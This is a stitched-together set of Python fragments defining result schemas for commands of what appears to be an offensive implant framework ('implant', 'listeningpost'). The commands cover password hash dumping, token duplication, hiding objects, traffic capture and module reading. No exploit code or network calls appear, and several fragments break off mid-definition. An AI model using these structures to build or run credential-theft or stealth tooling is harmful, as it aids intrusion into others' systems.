from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('kisu_list' not in cmd_definitions): kisu_list_data = OpsClass('enumeration', {'item': OpsClass('item', {'id': OpsField('id', dsz.TYPE_INT), 'versionminor': OpsField('versionminor', dsz.TYPE_INT), 'versionmajor': OpsField('versionmajor', dsz.TYPE_INT), 'versionfix': OpsField('versionfix', dsz.TYPE_INT), 'versionbuild': OpsField('versionbuild', dsz.TYPE_INT), 'name': OpsField('name', dsz.TYPE_STRING)}, DszObject, single=False)}, DszObject) kisu_list_command = OpsClass('enumeration', {'enumeration': kisu_list_data}, DszCommandObject) cmd_definitions['kisu_list'] = kisu_list_command
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('trafficcapture' not in cmd_definitions): dzsfilter = OpsClass( 'filter', { 'adapterfilter': OpsField('adapterfilter', dsz.TYPE_INT), 'bpffilter': OpsField('bpffilter', dsz.TYPE_STRING) }, DszObject, single=True) dsztcstatus = OpsClass( 'status', { 'versionmajor': OpsField('versionmajor', dsz.TYPE_INT), 'versionminor': OpsField('versionminor', dsz.TYPE_INT), 'versionrevision': OpsField('versionrevision', dsz.TYPE_INT), 'filteractive': OpsField('filteractive', dsz.TYPE_BOOL), 'threadrunning': OpsField('threadrunning', dsz.TYPE_BOOL), 'maxfilesize': OpsField('maxfilesize', dsz.TYPE_INT), 'maxpacketsize': OpsField('maxpacketsize', dsz.TYPE_INT), 'capturefile': OpsField('capturefile', dsz.TYPE_STRING), 'capturefilesize': OpsField('capturefilesize', dsz.TYPE_INT) }, DszObject, single=True) trafficcapturecommand = OpsClass('trafficcapture', { 'filter': dzsfilter, 'status': dsztcstatus }, DszCommandObject) cmd_definitions['trafficcapture'] = trafficcapturecommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('duplicatetoken' not in cmd_definitions): dszduplicatetokenprocess = OpsClass('process', {'id': OpsField('id', dsz.TYPE_INT), 'name': OpsField('name', dsz.TYPE_STRING), 'user': OpsField('user', dsz.TYPE_STRING)}, DszObject, single=False) dszduplicatetokentoken = OpsClass('token', {'alias': OpsField('alias', dsz.TYPE_STRING), 'value': OpsField('value', dsz.TYPE_STRING)}, DszObject) duplicatetokencommand = OpsClass('duplicatetoken', {'process': dszduplicatetokenprocess, 'token': dszduplicatetokentoken}, DszCommandObject) cmd_definitions['duplicatetoken'] = duplicatetokencommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('eventlogquery' not in cmd_definitions): moduletoggledsz = OpsClass('moduletoggle', { 'system': OpsClass('system', { 'selected': OpsField('selected', dsz.TYPE_STRING), 'name': OpsField('name', dsz.TYPE_STRING) }, DszObject, single=False) }, DszObject, single=True) moduletogglecommand = OpsClass('moduletoggle', {'moduletoggle': moduletoggledsz}, DszCommandObject) cmd_definitions['moduletoggle'] = moduletogglecommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('hide' not in cmd_definitions): dszhideobj = OpsClass( 'hideobject', { 'value': OpsField('value', dsz.TYPE_STRING), 'type': OpsField('type', dsz.TYPE_STRING), 'data': OpsField('data', dsz.TYPE_STRING) }, DszObject) hidecommand = OpsClass('hide', { 'hideobject': dszhideobj, 'unhideobject': dszhideobj }, DszCommandObject) cmd_definitions['hide'] = hidecommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('permissions' not in cmd_definitions): dszmodified = OpsClass( 'modified', {'removepending': OpsField('removepending', dsz.TYPE_BOOL)}, DszObject, single=True) dszobject = OpsClass('object', { 'group': OpsField('group', dsz.TYPE_STRING), 'type': OpsField('type', dsz.TYPE_STRING), 'owner': OpsField('owner', dsz.TYPE_STRING), 'groupdomain': OpsField('groupdomain', dsz.TYPE_STRING), 'ownerdomain': OpsField('ownerdomain', dsz.TYPE_STRING), 'name': OpsField('name', dsz.TYPE_STRING), 'permissionstring': OpsField('permissionstring', dsz.TYPE_STRING), 'flags': OpsClass('flags', { 'se_dacl_auto_inherit_req': OpsField('se_dacl_auto_inherit_req', dsz.TYPE_BOOL), 'se_dacl_auto_inherited': OpsField('se_dacl_auto_inherited', dsz.TYPE_BOOL), 'se_dacl_defaulted': OpsField('se_dacl_defaulted', dsz.TYPE_BOOL),
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('kisu_readmodule' not in cmd_definitions): kisu_module = OpsClass( 'readmodule', { 'id': OpsField('id', dsz.TYPE_INT), 'instance': OpsField('instance', dsz.TYPE_INT), 'size': OpsField('size', dsz.TYPE_INT), 'module': OpsField('module', dsz.TYPE_STRING) }, DszObject) kisu_readmodule_command = OpsClass('module', {'module': kisu_module}, DszCommandObject) cmd_definitions['kisu_readmodule'] = kisu_readmodule_command
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('version' not in cmd_definitions): dszversion = OpsClass('versionitem', {'implant': OpsClass('implant', {'compiled': OpsClass('compiled', {'major': OpsField('major', dsz.TYPE_INT), 'minor': OpsField('minor', dsz.TYPE_INT), 'fix': OpsField('fix', dsz.TYPE_INT)}, DszObject, single=True)}, DszObject, single=True), 'listeningpost': OpsClass('listeningpost', {'base': OpsClass('base', {'major': OpsField('major', dsz.TYPE_INT), 'minor': OpsField('minor', dsz.TYPE_INT), 'fix': OpsField('fix', dsz.TYPE_INT), 'build': OpsField('build', dsz.TYPE_INT), 'description': OpsField('description', dsz.TYPE_STRING)}, DszObject, single=True), 'compiled': OpsClass('compiled', {'major': OpsField('major', dsz.TYPE_INT), 'minor': OpsField('minor', dsz.TYPE_INT), 'fix': OpsField('fix', dsz.TYPE_INT)}, DszObject, single=True)}, DszObject, single=True)}, DszObject, single=True) versioncommand = OpsClass('version', {'versionitem': dszversion}, DszCommandObject) cmd_definitions['version'] = versioncommand
if ('groups' not in cmd_definitions): dszgroup = OpsClass('group', { 'groupid': OpsField('groupid', dsz.TYPE_INT), 'group': OpsField('group', dsz.TYPE_STRING), 'comment': OpsField('comment', dsz.TYPE_STRING), 'attributes': OpsClass( 'attributes', { 'mask': OpsField('mask', dsz.TYPE_STRING), 'groupmandatory': OpsField('groupmandatory', dsz.TYPE_BOOL), 'groupenabled': OpsField('groupenabled', dsz.TYPE_BOOL), 'grouplogonid': OpsField('grouplogonid', dsz.TYPE_BOOL), 'groupresource': OpsField('groupresource', dsz.TYPE_BOOL), 'groupenabledbydefault': OpsField('groupenabledbydefault', dsz.TYPE_BOOL), 'groupusefordenyonly': OpsField('groupusefordenyonly', dsz.TYPE_BOOL), 'groupowner': OpsField('groupowner', dsz.TYPE_STRING) }, DszObject) }, DszObject, single=False) groupscommand = OpsClass('groups', {'group': dszgroup}, DszCommandObject)
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('strings' not in cmd_definitions): dszstrings = OpsClass('strings', {'string': OpsClass('string', {'offset': OpsField('offset', dsz.TYPE_INT), 'string': OpsField('string', dsz.TYPE_STRING)}, DszObject, single=False)}, DszObject, single=True) stringscommand = OpsClass('strings', {'strings': dszstrings}, DszCommandObject) cmd_definitions['strings'] = stringscommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('passworddump' not in cmd_definitions): dszwindowspassword = OpsClass('windowspassword', {'exception': OpsField('exception', dsz.TYPE_BOOL), 'expired': OpsField('expired', dsz.TYPE_BOOL), 'rid': OpsField('rid', dsz.TYPE_INT), 'user': OpsField('user', dsz.TYPE_STRING), 'nthash': OpsClass('nthash', {'present': OpsField('present', dsz.TYPE_BOOL), 'empty': OpsField('empty', dsz.TYPE_BOOL), 'value': OpsField('value', dsz.TYPE_STRING)}, DszObject, single=True), 'lanmanhash': OpsClass('lanmanhash', {'present': OpsField('present', dsz.TYPE_BOOL), 'empty': OpsField('empty', dsz.TYPE_BOOL), 'value': OpsField('value', dsz.TYPE_STRING)}, DszObject, single=True)}, DszObject, single=False) dszwindowssecret = OpsClass('windowssecret', {'name': OpsField('name', dsz.TYPE_STRING), 'value': OpsField('value', dsz.TYPE_STRING)}, DszObject, single=False) dszdigestpassword = OpsClass('digestpassword', {'domain': OpsField('domain', dsz.TYPE_STRING), 'user': OpsField('user', dsz.TYPE_STRING), 'password': OpsField('password', dsz.TYPE_STRING)}, DszObject, single=False) passworddumpcommand = OpsClass('passworddump', {'windowspassword': dszwindowspassword, 'windowssecret': dszwindowssecret, 'digestpassword': dszdigestpassword}, DszCommandObject) cmd_definitions['passworddump'] = passworddumpcommand
dszservice = OpsClass('service', { 'servicename': OpsField('servicename', dsz.TYPE_STRING), 'state': OpsField('state', dsz.TYPE_STRING), 'displayname': OpsField('displayname', dsz.TYPE_STRING), 'acceptedcodes': OpsClass('acceptedcodes', { 'acceptspowerevent': OpsField('acceptspowerevent', dsz.TYPE_BOOL), 'acceptsshutdown': OpsField('acceptsshutdown', dsz.TYPE_BOOL), 'acceptsnetbindchange': OpsField('acceptsnetbindchange', dsz.TYPE_BOOL), 'acceptspausecontinue': OpsField('acceptspausecontinue', dsz.TYPE_BOOL), 'acceptshardwareprofchange': OpsField('acceptshardwareprofchange', dsz.TYPE_BOOL), 'acceptsparamchange': OpsField('acceptsparamchange', dsz.TYPE_BOOL), 'acceptssessionchange': OpsField('acceptssessionchange', dsz.TYPE_BOOL), 'acceptsstop': OpsField('acceptsstop', dsz.TYPE_BOOL), 'value': OpsField('value', dsz.TYPE_INT) }, DszObject, single=True), 'servicetype': OpsClass('servicetype', { 'servicesharesprocess': OpsField('servicesharesprocess', dsz.TYPE_BOOL), 'servicefilesystemdriver': OpsField('servicefilesystemdriver', dsz.TYPE_BOOL), 'serviceownprocess': OpsField('serviceownprocess', dsz.TYPE_BOOL), 'servicedevicedriver': OpsField('servicedevicedriver', dsz.TYPE_BOOL), 'serviceinteractiveprocess': OpsField('serviceinteractiveprocess', dsz.TYPE_BOOL), 'value': OpsField('value', dsz.TYPE_INT) }, DszObject, single=True) }, DszObject, single=False)
dszplugin = OpsClass('plugins', { 'address': OpsField('address', dsz.TYPE_STRING), 'plugin': OpsClass('plugin', { 'core': OpsField('core', dsz.TYPE_BOOL), 'reallyloaded': OpsField('reallyloaded', dsz.TYPE_BOOL), 'loadcount': OpsField('loadcount', dsz.TYPE_INT), 'id': OpsField('id', dsz.TYPE_INT), 'name': OpsField('name', dsz.TYPE_STRING), 'loaderinfo': OpsField('loaderinfo', dsz.TYPE_STRING), 'registeredapis': OpsClass('registeredapis', { 'interface': OpsField('interface', dsz.TYPE_INT), 'provider': OpsField('provider', dsz.TYPE_INT) }, DszObject, single=False), 'acquiredapis': OpsClass('acquiredapis', { 'interface': OpsField('interface', dsz.TYPE_INT), 'provider': OpsField('provider', dsz.TYPE_INT), 'providedby': OpsField('providedby', dsz.TYPE_STRING) }, DszObject, single=False), 'version': OpsClass('version', { 'lla': OpsClass('lla', { 'major': OpsField('major', dsz.TYPE_INT), 'minor': OpsField('minor', dsz.TYPE_INT), 'revision': OpsField('revision', dsz.TYPE_INT) }, DszObject, single=True), 'module': OpsClass('module', { 'major': OpsField('major', dsz.TYPE_INT), 'minor': OpsField('minor', dsz.TYPE_INT), 'revision': OpsField('revision', dsz.TYPE_INT), 'flags': OpsClass('flags', { 'value': OpsField('value', dsz.TYPE_INT), 'target': OpsField('target', dsz.TYPE_BOOL), 'lp': OpsField('lp', dsz.TYPE_BOOL) }, DszObject, single=True) }, DszObject, single=True), 'buildenvironment': OpsClass('buildenvironment', { 'major': OpsField('major', dsz.TYPE_INT), 'minor': OpsField('minor', dsz.TYPE_INT), 'revision': OpsField('revision', dsz.TYPE_INT), 'typevalue': OpsField('typevalue', dsz.TYPE_INT), 'type': OpsField('type', dsz.TYPE_STRING) }, DszObject, single=True) }, DszObject, single=True) }, DszObject, single=False) }, DszObject, single=True)
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('firewall' not in cmd_definitions): dszfirewallenabled = OpsClass( 'enabled', { 'closepending': OpsField('closepending', dsz.TYPE_BOOL), 'port': OpsField('port', dsz.TYPE_INT), 'protocol': OpsField('protocol', dsz.TYPE_STRING) }, DszObject) dszfwentry = OpsClass( 'entry', { 'enabled': OpsField('enabled', dsz.TYPE_BOOL), 'active': OpsField('active', dsz.TYPE_BOOL), 'allowexceptions': OpsField('allowexceptions', dsz.TYPE_BOOL), 'inbound': OpsField('inbound', dsz.TYPE_STRING), 'outbound': OpsField('outbound', dsz.TYPE_STRING), 'port': OpsClass('port', { 'port': OpsField('port', dsz.TYPE_STRING), 'protocol': OpsField('protocol', dsz.TYPE_STRING), 'scope': OpsField('scope', dsz.TYPE_STRING), 'status': OpsField('status', dsz.TYPE_STRING), 'direction': OpsField('direction', dsz.TYPE_STRING), 'rule': OpsField('rule', dsz.TYPE_STRING), 'action': OpsField('action', dsz.TYPE_STRING), 'portname': OpsField('portname', dsz.TYPE_STRING),
def _getFilename(self): return os.path.split(self.name)[1] filename = property(_getFilename) if ('drivers' not in cmd_definitions): dszdriveritem = OpsClass( 'driveritem', { 'base': OpsField('base', dsz.TYPE_INT), 'loadcount': OpsField('loadcount', dsz.TYPE_INT), 'flags': OpsField('flags', dsz.TYPE_INT), 'size': OpsField('size', dsz.TYPE_INT), 'license': OpsField('license', dsz.TYPE_STRING), 'dependencies': OpsField('dependencies', dsz.TYPE_STRING), 'loadparams': OpsField('loadparams', dsz.TYPE_STRING), 'description': OpsField('description', dsz.TYPE_STRING), 'usedbymods': OpsField('usedbymods', dsz.TYPE_STRING), 'filepath': OpsField('filepath', dsz.TYPE_STRING), 'name': OpsField('name', dsz.TYPE_STRING), 'author': OpsField('author', dsz.TYPE_STRING), 'alias': OpsField('alias', dsz.TYPE_STRING), 'version': OpsField('version', dsz.TYPE_STRING), 'signed': OpsField('signed', dsz.TYPE_BOOL) }, DriverData, single=False) drivescommand = OpsClass('drivers', {'driveritem': dszdriveritem}, DszCommandObject) cmd_definitions['drivers'] = drivescommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('lpgetenv' not in cmd_definitions): dszenvitem = OpsClass('envitem', { 'system': OpsField('system', dsz.TYPE_BOOL), 'option': OpsField('option', dsz.TYPE_STRING), 'value': OpsField('value', dsz.TYPE_STRING) }, DszObject, single=False) lpgetenvcommand = OpsClass('lpgetenv', {'envitem': dszenvitem}, DszCommandObject) cmd_definitions['lpgetenv'] = lpgetenvcommand
def __getAuditingFailure(self): return (self.audit_event_failure == 1) auditing_failure = property(__getAuditingFailure) if ('audit' not in cmd_definitions): dszauditevent = OpsClass( 'event', { 'audit_event_success': OpsField('audit_event_success', dsz.TYPE_BOOL), 'audit_event_failure': OpsField('audit_event_failure', dsz.TYPE_BOOL), 'category': OpsField('category', dsz.TYPE_STRING), 'categorynative': OpsField('categorynative', dsz.TYPE_STRING), 'subcategory': OpsField('subcategory', dsz.TYPE_STRING), 'subcategorynative': OpsField('subcategorynative', dsz.TYPE_STRING), 'categoryguid': OpsField('categoryguid', dsz.TYPE_STRING), 'subcategoryguid': OpsField('subcategoryguid', dsz.TYPE_STRING) }, AuditingEventData, single=False) audit = OpsClass( 'status', { 'event': dszauditevent, 'audit_mode': OpsField('audit_mode', dsz.TYPE_BOOL), 'audit_status_avail': OpsField('audit_status_avail', dsz.TYPE_BOOL) }, DszObject) auditcommand = OpsClass('audit', {'status': audit}, DszCommandObject) cmd_definitions['audit'] = auditcommand
self._friendly = row['comment'] self._proctype = row['type'] else: self._friendly = '' self._proctype = '' def _getFriendlyName(self): if (self._friendly is None): self._populateElistData() return self._friendly friendlyname = property(_getFriendlyName) def _getFriendlyType(self): if (self._proctype is None): self._populateElistData() return self._proctype proctype = property(_getFriendlyType) def _getFullBinPath(self): if (self.path != ''): return os.path.join(self.path, self.name) else: return self.name fullpath = property(_getFullBinPath) if ('processes' not in cmd_definitions): dszprocessitem = OpsClass('processitem', {'id': OpsField('id', dsz.TYPE_INT), 'parentid': OpsField('parentid', dsz.TYPE_INT), 'description': OpsField('description', dsz.TYPE_STRING), 'name': OpsField('name', dsz.TYPE_STRING), 'path': OpsField('path', dsz.TYPE_STRING), 'display': OpsField('display', dsz.TYPE_STRING), 'user': OpsField('user', dsz.TYPE_STRING), 'is64bit': OpsField('is64bit', dsz.TYPE_BOOL), 'created': OpsClass('created', {'typevalue': OpsField('typevalue', dsz.TYPE_INT), 'type': OpsField('type', dsz.TYPE_STRING), 'time': OpsField('time', dsz.TYPE_STRING), 'date': OpsField('date', dsz.TYPE_STRING)}, DszObject), 'cputime': OpsClass('cputime', {'minutes': OpsField('minutes', dsz.TYPE_INT), 'seconds': OpsField('seconds', dsz.TYPE_INT), 'hours': OpsField('hours', dsz.TYPE_INT)}, DszObject)}, ProcessData, single=False) dszinitialprocesslistitem = OpsClass('initialprocesslistitem', {'processitem': dszprocessitem}, DszObject) dszstartprocesslistitem = OpsClass('startprocesslistitem', {'processitem': dszprocessitem}, DszObject, single=False) dszstopprocesslistitem = OpsClass('stopprocesslistitem', {'processitem': dszprocessitem}, DszObject, single=False) processescommand = OpsClass('processes', {'initialprocesslistitem': dszinitialprocesslistitem, 'startprocesslistitem': dszstartprocesslistitem, 'stopprocesslistitem': dszstopprocesslistitem}, ProcessesCommandData) cmd_definitions['processes'] = processescommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('activity' not in cmd_definitions): dszlastactivity = OpsClass( 'lastactivity', { 'days': OpsField('days', dsz.TYPE_INT), 'hours': OpsField('hours', dsz.TYPE_INT), 'minutes': OpsField('minutes', dsz.TYPE_INT), 'seconds': OpsField('seconds', dsz.TYPE_INT) }, DszObject) dsznewactivity = OpsClass('newactivity', { 'type': OpsField('type', dsz.TYPE_INT), 'days': OpsField('days', dsz.TYPE_INT), 'hours': OpsField('hours', dsz.TYPE_INT), 'minutes': OpsField('minutes', dsz.TYPE_INT), 'seconds': OpsField('seconds', dsz.TYPE_INT), 'nanos': OpsField('nanos', dsz.TYPE_INT), 'typevalue': OpsField('typevalue', dsz.TYPE_INT) }, DszObject, single=False) activitycommand = OpsClass('activity', { 'lastactivity': dszlastactivity, 'newactivity': dsznewactivity }, DszCommandObject) cmd_definitions['activity'] = activitycommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('registryhive' not in cmd_definitions): dszhiveitem = OpsClass('hive', {'hive': OpsField('hive', dsz.TYPE_STRING), 'permanent': OpsField('permanent', dsz.TYPE_STRING), 'srcfile': OpsField('srcfile', dsz.TYPE_STRING), 'key': OpsField('key', dsz.TYPE_STRING)}, DszObject) reghivecommand = OpsClass('registryhive', {'hive': dszhiveitem}, DszCommandObject) cmd_definitions['registryhive'] = reghivecommand
dszversioninfo = OpsClass('versioninfo', { 'minor': OpsField('minor', dsz.TYPE_INT), 'revisionminor': OpsField('revisionminor', dsz.TYPE_INT), 'revisionmajor': OpsField('revisionmajor', dsz.TYPE_INT), 'build': OpsField('build', dsz.TYPE_INT), 'major': OpsField('major', dsz.TYPE_INT), 'platform': OpsField('platform', dsz.TYPE_STRING), 'arch': OpsField('arch', dsz.TYPE_STRING), 'extrainfo': OpsField('extrainfo', dsz.TYPE_STRING), 'flags': OpsClass('flags', { 'smallbusiness': OpsField('smallbusiness', dsz.TYPE_BOOL), 'datacenter': OpsField('datacenter', dsz.TYPE_BOOL), 'enterprise': OpsField('enterprise', dsz.TYPE_BOOL), 'workstation': OpsField('workstation', dsz.TYPE_BOOL), 'embeddednt': OpsField('embeddednt', dsz.TYPE_BOOL), 'personal': OpsField('personal', dsz.TYPE_BOOL), 'smallbusinessrestricted': OpsField('smallbusinessrestricted', dsz.TYPE_BOOL), 'terminal': OpsField('terminal', dsz.TYPE_BOOL), 'domaincontroller': OpsField('domaincontroller', dsz.TYPE_BOOL), 'singleuserts': OpsField('singleuserts', dsz.TYPE_BOOL), 'blade': OpsField('blade', dsz.TYPE_BOOL), 'server': OpsField('server', dsz.TYPE_BOOL), 'backoffice': OpsField('backoffice', dsz.TYPE_BOOL), 'value': OpsField('value', dsz.TYPE_INT) }, DszObject, single=True) }, SystemVersionData, single=True)
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz import ops if ('grdo_filescanner' not in cmd_definitions): hash = OpsClass('hash', { 'size': OpsField('size', dsz.TYPE_INT), 'type': OpsField('type', dsz.TYPE_STRING), 'value': OpsField('value', dsz.TYPE_STRING) }, DszObject, single=False) totalfiles = OpsClass( 'totalfiles', { 'filesscanned': OpsField('filesscanned', dsz.TYPE_INT), 'filesreturned': OpsField('filesreturned', dsz.TYPE_INT) }, DszObject, single=True) pesection = OpsClass( 'pesection', { 'virtualaddress': OpsField('virtualaddress', dsz.TYPE_INT), 'characteristics': OpsField('characteristics', dsz.TYPE_INT), 'sizeofrawdata': OpsField('sizeofrawdata', dsz.TYPE_INT), 'sectionname': OpsField('sectionname', dsz.TYPE_STRING) }, DszObject, single=False) importsdll = OpsClass('importsdll', { 'dllname': OpsField('dllname', dsz.TYPE_STRING), 'importedfunction':
dszusers = OpsClass('user', { 'passwordexpired': OpsField('passwordexpired', dsz.TYPE_BOOL), 'userid': OpsField('userid', dsz.TYPE_INT), 'numlogons': OpsField('numlogons', dsz.TYPE_INT), 'primarygroupid': OpsField('primarygroupid', dsz.TYPE_INT), 'privilege': OpsField('privilege', dsz.TYPE_STRING), 'passwordlastchanged': OpsField('passwordlastchanged', dsz.TYPE_STRING), 'lastlogon': OpsField('lastlogon', dsz.TYPE_STRING), 'accountexpires': OpsField('accountexpires', dsz.TYPE_STRING), 'homedir': OpsField('homedir', dsz.TYPE_STRING), 'comment': OpsField('comment', dsz.TYPE_STRING), 'usershell': OpsField('usershell', dsz.TYPE_STRING), 'fullname': OpsField('fullname', dsz.TYPE_STRING), 'name': OpsField('name', dsz.TYPE_STRING), 'flags': OpsClass('flags', { 'authflags': OpsClass('authflags', { 'authopcomm': OpsField('authopcomm', dsz.TYPE_BOOL), 'authopaccts': OpsField('authopaccts', dsz.TYPE_BOOL), 'authopprint': OpsField('authopprint', dsz.TYPE_BOOL), 'authopserver': OpsField('authopserver', dsz.TYPE_BOOL), 'mask': OpsField('mask', dsz.TYPE_INT) }, DszObject, single=True), 'accountflags': OpsClass('accountflags', { 'lockout': OpsField('lockout', dsz.TYPE_BOOL), 'dontexpirepasswd': OpsField('dontexpirepasswd', dsz.TYPE_BOOL), 'script': OpsField('script', dsz.TYPE_BOOL), 'acctdisable': OpsField('acctdisable', dsz.TYPE_BOOL), 'passwordcantchange': OpsField('passwordcantchange', dsz.TYPE_BOOL), 'tempduplicateacct': OpsField('tempduplicateacct', dsz.TYPE_BOOL), 'homedirreqd': OpsField('homedirreqd', dsz.TYPE_BOOL), 'trustedfordeleg': OpsField('trustedfordeleg', dsz.TYPE_BOOL), 'interdomaintrustacct': OpsField('interdomaintrustacct', dsz.TYPE_BOOL), 'passwordexpired': OpsField('passwordexpired', dsz.TYPE_BOOL), 'notdelegated': OpsField('notdelegated', dsz.TYPE_BOOL), 'normalacct': OpsField('normalacct', dsz.TYPE_BOOL), 'servertrustacct': OpsField('servertrustacct', dsz.TYPE_BOOL), 'dontrequirepreauth': OpsField('dontrequirepreauth', dsz.TYPE_BOOL), 'trustedtoauthenticatefordelegation': OpsField('trustedtoauthenticatefordelegation', dsz.TYPE_BOOL), 'usedeskeyonly': OpsField('usedeskeyonly', dsz.TYPE_BOOL), 'passwordnotreqd': OpsField('passwordnotreqd', dsz.TYPE_BOOL), 'smartcardreqd': OpsField('smartcardreqd', dsz.TYPE_BOOL), 'encryptedtextpasswdallw': OpsField('encryptedtextpasswdallw', dsz.TYPE_BOOL), 'workstattrustacct': OpsField('workstattrustacct', dsz.TYPE_BOOL), 'mask': OpsField('mask', dsz.TYPE_INT) }, DszObject, single=True) }, DszObject, single=True) }, DszObject, single=False)
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('language' not in cmd_definitions): dszuilanguage = OpsClass( 'uilanguage', { 'value': OpsField('value', dsz.TYPE_INT), 'native': OpsField('native', dsz.TYPE_STRING), 'english': OpsField('english', dsz.TYPE_STRING) }, DszObject) dszinstlanguage = OpsClass( 'installedlanguage', { 'value': OpsField('value', dsz.TYPE_INT), 'native': OpsField('native', dsz.TYPE_STRING), 'english': OpsField('english', dsz.TYPE_STRING) }, DszObject) dszlocalelanguage = OpsClass( 'localelanguage', { 'value': OpsField('value', dsz.TYPE_INT), 'native': OpsField('native', dsz.TYPE_STRING), 'english': OpsField('english', dsz.TYPE_STRING) }, DszObject) dszmultilanguage = OpsClass('oslanguage', { 'value': OpsField('value', dsz.TYPE_INT), 'native': OpsField('native', dsz.TYPE_STRING), 'english': OpsField('english', dsz.TYPE_STRING) }, DszObject, single=False) dszoslanguages = OpsClass('oslanguages', {'oslanguage': dszmultilanguage}, DszObject) languagedata = OpsClass(
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('shares' not in cmd_definitions): dszmappedresource = OpsClass('mappedresource', {'remotepath': OpsField('remotepath', dsz.TYPE_STRING), 'localpath': OpsField('localpath', dsz.TYPE_STRING)}, DszObject, single=True) dszshare = OpsClass('share', {'password': OpsField('password', dsz.TYPE_STRING), 'localname': OpsField('localname', dsz.TYPE_STRING), 'type': OpsField('type', dsz.TYPE_STRING), 'domainname': OpsField('domainname', dsz.TYPE_STRING), 'remotename': OpsField('remotename', dsz.TYPE_STRING), 'username': OpsField('username', dsz.TYPE_STRING), 'status': OpsField('status', dsz.TYPE_STRING), 'referencecount': OpsField('referencecount', dsz.TYPE_INT), 'usecount': OpsField('usecount', dsz.TYPE_INT)}, DszObject, single=False) dszresouce = OpsClass('resouce', {'admin': OpsField('admin', dsz.TYPE_BOOL), 'description': OpsField('description', dsz.TYPE_STRING), 'name': OpsField('name', dsz.TYPE_STRING), 'path': OpsField('path', dsz.TYPE_STRING), 'caption': OpsField('caption', dsz.TYPE_STRING), 'type': OpsField('type', dsz.TYPE_STRING)}, DszObject, single=False) sharescommand = OpsClass('shares', {'mappedresource': dszmappedresource, 'share': dszshare, 'resouce': dszresouce}, DszCommandObject) cmd_definitions['shares'] = sharescommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('authentication' not in cmd_definitions): dszauthentication = OpsClass('authentication', {'username': OpsField('username', dsz.TYPE_STRING), 'password': OpsField('password', dsz.TYPE_STRING)}, DszObject) authenticationcommand = OpsClass('authentication', {'authentication': dszauthentication}, DszCommandObject) cmd_definitions['authentication'] = authenticationcommand
self.__commandstart = None @property def friendlyGMTTime(self): if (self.__friendlyGMTTime is None): self.__friendlyGMTTime = datetime.datetime.utcfromtimestamp(self.gmttimeseconds.value) return self.__friendlyGMTTime @property def friendlyLocalTime(self): if (self.__friendlyLocalTime is None): self.__friendlyLocalTime = datetime.datetime.utcfromtimestamp(self.localtimeseconds.value) return self.__friendlyLocalTime @property def skew(self): if (self.__skew is None): self.__skew = (self.datainit - self.friendlyGMTTime) return self.__skew @property def datainit(self): return self.__datainit @property def friendlyBias(self): return (self.friendlyLocalTime - self.friendlyGMTTime) if ('time' not in cmd_definitions): dsztime = OpsClass('timeitem', {'localtime': OpsClass('localtime', {'time': OpsField('time', dsz.TYPE_STRING), 'nanoseconds': OpsField('nanoseconds', dsz.TYPE_STRING), 'date': OpsField('date', dsz.TYPE_STRING)}, DszObject), 'gmttime': OpsClass('gmttime', {'time': OpsField('time', dsz.TYPE_STRING), 'nanoseconds': OpsField('nanoseconds', dsz.TYPE_STRING), 'date': OpsField('date', dsz.TYPE_STRING)}, DszObject), 'localtimeseconds': OpsClass('localtimeseconds', {'value': OpsField('value', dsz.TYPE_INT)}, DszObject), 'gmttimeseconds': OpsClass('gmttimeseconds', {'value': OpsField('value', dsz.TYPE_INT)}, DszObject), 'daylightsavingstime': OpsClass('daylightsavingstime', {'standard': OpsClass('standard', {'month': OpsField('month', dsz.TYPE_INT), 'day': OpsField('day', dsz.TYPE_INT), 'week': OpsField('week', dsz.TYPE_INT), 'name': OpsField('name', dsz.TYPE_STRING), 'bias': OpsField('bias', dsz.TYPE_STRING)}, DszObject), 'daylight': OpsClass('daylight', {'month': OpsField('month', dsz.TYPE_INT), 'day': OpsField('day', dsz.TYPE_INT), 'week': OpsField('week', dsz.TYPE_INT), 'name': OpsField('name', dsz.TYPE_STRING), 'bias': OpsField('bias', dsz.TYPE_STRING)}, DszObject)}, DszObject), 'currentstate': OpsField('currentstate', dsz.TYPE_STRING), 'bias': OpsField('bias', dsz.TYPE_STRING)}, TimeData) timecommand = OpsClass('time', {'timeitem': dsztime}, DszCommandObject) cmd_definitions['time'] = timecommand
